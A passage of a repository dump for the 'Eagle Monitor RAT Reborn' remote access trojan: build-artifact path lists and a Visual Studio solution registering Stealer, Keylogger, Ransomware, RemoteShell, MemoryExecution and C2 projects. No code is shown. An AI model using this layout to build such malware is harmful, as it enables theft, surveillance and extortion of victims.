Reborn.csproj.CopyComplete D:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.AboutForm.resources F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.AboutForm.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe.config E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Eagle Monitor RAT Reborn (x64).exe E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.ClientForm.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.AboutForm.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.MainForm.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn\obj\x64\Release\Eagle Monitor RAT Reborn (x64).exe ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache ================================================ ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/_IsIncrementalBuild ================================================ obj\x64\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/packages.config ================================================  ================================================ FILE: Remote Access Tool/Eagle Monitor RAT.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.2.32616.157 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Eagle Monitor RAT Reborn", "Eagle Monitor RAT Reborn\Eagle Monitor RAT Reborn.csproj", "{76117FFD-C18B-4366-8CE8-0572E7F4FB87}" EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Plugins", "Plugins", "{416B39F0-2EF5-42BB-AE33-092AF22ABD95}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AudioRecording", "Plugins\AudioRecording\AudioRecording.csproj", "{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileManager", "Plugins\FileManager\FileManager.csproj", "{08BF3C47-16A4-4D13-9A5B-3130F29CC180}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Offline", "Plugins\Offline\Offline.csproj", "{D317BA4E-5818-4FC4-AA4E-EEA824317759}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ProcessManager", "Plugins\ProcessManager\ProcessManager.csproj", "{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteCamera", "Plugins\RemoteCamera\RemoteCamera.csproj", "{B06314F2-338E-4E66-ACAA-A107A777A7B5}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteDesktop", "Plugins\RemoteDesktop\RemoteDesktop.csproj", "{5389698F-E221-466D-8682-8F289C44F1DD}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stealer", "Plugins\Stealer\Stealer.csproj", "{57239258-19E3-4B07-854C-8B0A3221C45A}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MemoryExecution", "Plugins\MemoryExecution\MemoryExecution.csproj", "{0607E970-CC93-4A2A-83CA-53B9D537C96E}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerManager", "Plugins\PowerManager\PowerManager.csproj", "{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Miscellaneous", "Plugins\Miscellaneous\Miscellaneous.csproj", "{EAEC4642-636D-4312-8903-D70157A8E91C}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Admin", "Plugins\Admin\Admin.csproj", "{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Chat", "Plugins\Chat\Chat.csproj", "{773A4D23-189D-4353-BF37-515591E16F5A}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Keylogger", "Plugins\Keylogger\Keylogger.csproj", "{D60C7327-79D4-4525-95D9-ADD6B55986A8}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Information", "Plugins\Information\Information.csproj", "{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Hardware", "Plugins\Hardware\Hardware.csproj", "{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ScreenLocker", "Plugins\ScreenLocker\ScreenLocker.csproj", "{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Ransomware", "Plugins\Ransomware\Ransomware.csproj", "{150CA92E-FD24-4518-8B7B-BBECB4CC7578}" EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "ClientOptions", "ClientOptions", "{AFC1D5E4-E5FC-478E-8D0C-6065C6F1B5EF}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HookHardware", "Utils\HookHardware\HookHardware.csproj", "{64C6E036-FF80-4F45-87F6-0A9996131FA1}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PacketLib", "Utils\PacketLib\PacketLib.csproj", "{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteShell", "Plugins\RemoteShell\RemoteShell.csproj", "{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "C2", "C2\C2.csproj", "{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Debug|x64 = Debug|x64 Release|Any CPU = Release|Any CPU Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Debug|Any CPU.Build.0 = Debug|Any CPU {76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Debug|x64.ActiveCfg = Debug|x64 {76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Debug|x64.Build.0 = Debug|x64 {76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Release|Any CPU.ActiveCfg = Release|Any CPU {76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Release|Any CPU.Build.0 = Release|Any CPU {76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Release|x64.ActiveCfg = Release|x64 {76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Release|x64.Build.0 = Release|x64 {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Debug|Any CPU.Build.0 = Debug|Any CPU {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Debug|x64.ActiveCfg = Debug|Any CPU {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Debug|x64.Build.0 = Debug|Any CPU {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Release|Any CPU.ActiveCfg = Release|Any CPU {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Release|Any CPU.Build.0 = Release|Any CPU {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Release|x64.ActiveCfg = Release|Any CPU {37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Release|x64.Build.0 = Release|Any CPU {08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Debug|Any CPU.Build.0 = Debug|Any CPU {08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Debug|x64.ActiveCfg = Debug|Any CPU {08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Debug|x64.Build.0 = Debug|Any CPU {08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Release|Any CPU.ActiveCfg = Release|Any CPU {08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Release|Any CPU.Build.0 = Release|Any CPU {08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Release|x64.ActiveCfg = Release|Any CPU {08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Release|x64.Build.0 = Release|Any CPU {D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|Any CPU.Build.0 = Debug|Any CPU {D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|x64.ActiveCfg = Debug|Any CPU {D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|x64.Build.0 = Debug|Any CPU {D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|Any CPU.ActiveCfg = Release|Any CPU {D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|Any CPU.Build.0 = Release|Any CPU {D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|x64.ActiveCfg = Release|Any CPU {D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|x64.Build.0 = Release|Any CPU {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Debug|Any CPU.Build.0 = Debug|Any CPU {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Debug|x64.ActiveCfg = Debug|Any CPU {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Debug|x64.Build.0 = Debug|Any CPU {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Release|Any CPU.ActiveCfg = Release|Any CPU {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Release|Any CPU.Build.0 = Release|Any CPU {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Release|x64.ActiveCfg = Release|Any CPU {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Release|x64.Build.0 = Release|Any CPU {B06314F2-338E-4E66-ACAA-A107A777A7B5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B06314F2-338E-4E66-ACAA-A107A777A7B5}.Debug|Any CPU.Build.0 = Debug|Any CPU {B06314F2-338E-4E66-ACAA-A107A777A7B5}.Debug|x64.ActiveCfg = Debug|Any CPU {B06314F2-338E-4E66-ACAA-A107A777A7B5}.Debug|x64.Build.0 = Debug|Any CPU {B06314F2-338E-4E66-ACAA-A107A777A7B5}.Release|Any CPU.ActiveCfg = Release|Any CPU {B06314F2-338E-4E66-ACAA-A107A777A7B5}.Release|Any CPU.Build.0 = Release|Any CPU {B06314F2-338E-4E66-ACAA-A107A777A7B5}.Release|x64.ActiveCfg = Release|Any CPU {B06314F2-338E-4E66-ACAA-A107A777A7B5}.Release|x64.Build.0 = Release|Any CPU {5389698F-E221-466D-8682-8F289C44F1DD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {5389698F-E221-466D-8682-8F289C44F1DD}.Debug|Any CPU.Build.0 = Debug|Any CPU {5389698F-E221-466D-8682-8F289C44F1DD}.Debug|x64.ActiveCfg = Debug|Any CPU {5389698F-E221-466D-8682-8F289C44F1DD}.Debug|x64.Build.0 = Debug|Any CPU {5389698F-E221-466D-8682-8F289C44F1DD}.Release|Any CPU.ActiveCfg = Release|Any CPU {5389698F-E221-466D-8682-8F289C44F1DD}.Release|Any CPU.Build.0 = Release|Any CPU {5389698F-E221-466D-8682-8F289C44F1DD}.Release|x64.ActiveCfg = Release|Any CPU {5389698F-E221-466D-8682-8F289C44F1DD}.Release|x64.Build.0 = Release|Any CPU {57239258-19E3-4B07-854C-8B0A3221C45A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {57239258-19E3-4B07-854C-8B0A3221C45A}.Debug|Any CPU.Build.0 = Debug|Any CPU {57239258-19E3-4B07-854C-8B0A3221C45A}.Debug|x64.ActiveCfg = Debug|Any CPU {57239258-19E3-4B07-854C-8B0A3221C45A}.Debug|x64.Build.0 = Debug|Any CPU {57239258-19E3-4B07-854C-8B0A3221C45A}.Release|Any CPU.ActiveCfg = Release|Any CPU {57239258-19E3-4B07-854C-8B0A3221C45A}.Release|Any CPU.Build.0 = Release|Any CPU {57239258-19E3-4B07-854C-8B0A3221C45A}.Release|x64.ActiveCfg = Release|Any CPU {57239258-19E3-4B07-854C-8B0A3221C45A}.Release|x64.Build.0 = Release|Any CPU {0607E970-CC93-4A2A-83CA-53B9D537C96E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {0607E970-CC93-4A2A-83CA-53B9D537C96E}.Debug|Any CPU.Build.0 = Debug|Any CPU {0607E970-CC93-4A2A-83CA-53B9D537C96E}.Debug|x64.ActiveCfg = Debug|Any CPU {0607E970-CC93-4A2A-83CA-53B9D537C96E}.Debug|x64.Build.0 = Debug|Any CPU {0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|Any CPU.ActiveCfg = Release|Any CPU {0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|Any CPU.Build.0 = Release|Any CPU {0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|x64.ActiveCfg = Release|Any CPU {0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|x64.Build.0 = Release|Any CPU {DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Debug|Any CPU.Build.0 = Debug|Any CPU {DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Debug|x64.ActiveCfg = Debug|Any CPU {DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Debug|x64.Build.0 = Debug|Any CPU {DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Release|Any CPU.ActiveCfg = Release|Any CPU {DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Release|Any CPU.Build.0 = Release|Any CPU {DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Release|x64.ActiveCfg = Release|Any CPU {DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Release|x64.Build.0 = Release|Any CPU {EAEC4642-636D-4312-8903-D70157A8E91C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {EAEC4642-636D-4312-8903-D70157A8E91C}.Debug|Any CPU.Build.0 = Debug|Any CPU {EAEC4642-636D-4312-8903-D70157A8E91C}.Debug|x64.ActiveCfg = Debug|Any CPU {EAEC4642-636D-4312-8903-D70157A8E91C}.Debug|x64.Build.0 = Debug|Any CPU {EAEC4642-636D-4312-8903-D70157A8E91C}.Release|Any CPU.ActiveCfg = Release|Any CPU {EAEC4642-636D-4312-8903-D70157A8E91C}.Release|Any CPU.Build.0 = Release|Any CPU {EAEC4642-636D-4312-8903-D70157A8E91C}.Release|x64.ActiveCfg = Release|Any CPU {EAEC4642-636D-4312-8903-D70157A8E91C}.Release|x64.Build.0 = Release|Any CPU {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|Any CPU.Build.0 = Debug|Any CPU {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|x64.ActiveCfg = Debug|Any CPU {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|x64.Build.0 = Debug|Any CPU {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|Any CPU.ActiveCfg = Release|Any CPU {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|Any CPU.Build.0 = Release|Any CPU {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|x64.ActiveCfg = Release|Any CPU {B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|x64.Build.0 = Release|Any CPU {773A4D23-189D-4353-BF37-515591E16F5A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {773A4D23-189D-4353-BF37-515591E16F5A}.Debug|Any CPU.Build.0 = Debug|Any CPU {773A4D23-189D-4353-BF37-515591E16F5A}.Debug|x64.ActiveCfg = Debug|Any CPU {773A4D23-189D-4353-BF37-515591E16F5A}.Debug|x64.Build.0 = Debug|Any CPU {773A4D23-189D-4353-BF37-515591E16F5A}.Release|Any CPU.ActiveCfg = Release|Any CPU {773A4D23-189D-4353-BF37-515591E16F5A}.Release|Any CPU.Build.0 = Release|Any CPU {773A4D23-189D-4353-BF37-515591E16F5A}.Release|x64.ActiveCfg = Release|Any CPU {773A4D23-189D-4353-BF37-515591E16F5A}.Release|x64.Build.0 = Release|Any CPU {D60C7327-79D4-4525-95D9-ADD6B55986A8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {D60C7327-79D4-4525-95D9-ADD6B55986A8}.Debug|Any CPU.Build.0 = Debug|Any CPU {D60C7327-79D4-4525-95D9-ADD6B55986A8}.Debug|x64.ActiveCfg = Debug|Any CPU {D60C7327-79D4-4525-95D9-ADD6B55986A8}.Debug|x64.Build.0 = Debug|Any CPU {D60C7327-79D4-4525-95D9-ADD6B55986A8}.Release|Any CPU.ActiveCfg = Release|Any CPU {D60C7327-79D4-4525-95D9-ADD6B55986A8}.Release|Any CPU.Build.0 = Release|Any CPU {D60C7327-79D4-4525-95D9-ADD6B55986A8}.Release|x64.ActiveCfg = Release|Any CPU {D60C7327-79D4-4525-95D9-ADD6B55986A8}.Release|x64.Build.0 = Release|Any CPU {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Debug|Any CPU.Build.0 = Debug|Any CPU {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Debug|x64.ActiveCfg = Debug|x64 {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Debug|x64.Build.0 = Debug|x64 {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Release|Any CPU.ActiveCfg = Release|Any CPU {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Release|Any CPU.Build.0 = Release|Any CPU {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Release|x64.ActiveCfg = Release|x64 {8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Release|x64.Build.0 = Release|x64 {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Debug|Any CPU.Build.0 = Debug|Any CPU {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Debug|x64.ActiveCfg = Debug|Any CPU {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Debug|x64.Build.0 = Debug|Any CPU {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Release|Any CPU.ActiveCfg = Release|Any CPU {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Release|Any CPU.Build.0 = Release|Any CPU {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Release|x64.ActiveCfg = Release|Any CPU {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Release|x64.Build.0 = Release|Any CPU {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Debug|Any CPU.Build.0 = Debug|Any CPU {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Debug|x64.ActiveCfg = Debug|Any CPU {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Debug|x64.Build.0 = Debug|Any CPU {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Release|Any CPU.ActiveCfg = Release|Any CPU {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Release|Any CPU.Build.0 = Release|Any CPU {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Release|x64.ActiveCfg = Release|Any CPU {8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Release|x64.Build.0 = Release|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Debug|Any CPU.Build.0 = Debug|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Debug|x64.ActiveCfg = Debug|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Debug|x64.Build.0 = Debug|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|Any CPU.ActiveCfg = Release|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|Any CPU.Build.0 = Release|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|x64.ActiveCfg = Release|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|x64.Build.0 = Release|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|Any CPU.Build.0 = Debug|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|x64.ActiveCfg = Debug|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|x64.Build.0 = Debug|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Release|Any CPU.ActiveCfg = Release|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Release|Any CPU.Build.0 = Release|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Release|x64.ActiveCfg = Release|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Release|x64.Build.0 = Release|Any CPU {81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Debug|Any CPU.Build.0 = Debug|Any CPU {81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Debug|x64.ActiveCfg = Debug|Any CPU {81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Debug|x64.Build.0 = Debug|Any CPU {81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Release|Any CPU.ActiveCfg = Release|Any CPU {81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Release|Any CPU.Build.0 = Release|Any CPU {81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Release|x64.ActiveCfg = Release|Any CPU {81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Release|x64.Build.0 = Release|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Debug|Any CPU.Build.0 = Debug|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Debug|x64.ActiveCfg = Debug|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Debug|x64.Build.0 = Debug|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|Any CPU.ActiveCfg = Release|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|Any CPU.Build.0 = Release|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|x64.ActiveCfg = Release|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|x64.Build.0 = Release|Any CPU {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 